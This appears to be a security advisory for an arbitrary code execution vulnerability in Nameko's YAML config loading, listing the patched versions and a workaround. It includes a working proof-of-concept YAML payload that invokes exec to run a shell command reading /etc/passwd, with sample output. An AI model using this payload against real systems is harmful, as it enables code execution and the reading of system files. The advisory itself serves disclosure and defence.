Nameko Arbitrary code execution due to YAML deserialization

Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"

$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
... 

Patches

The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.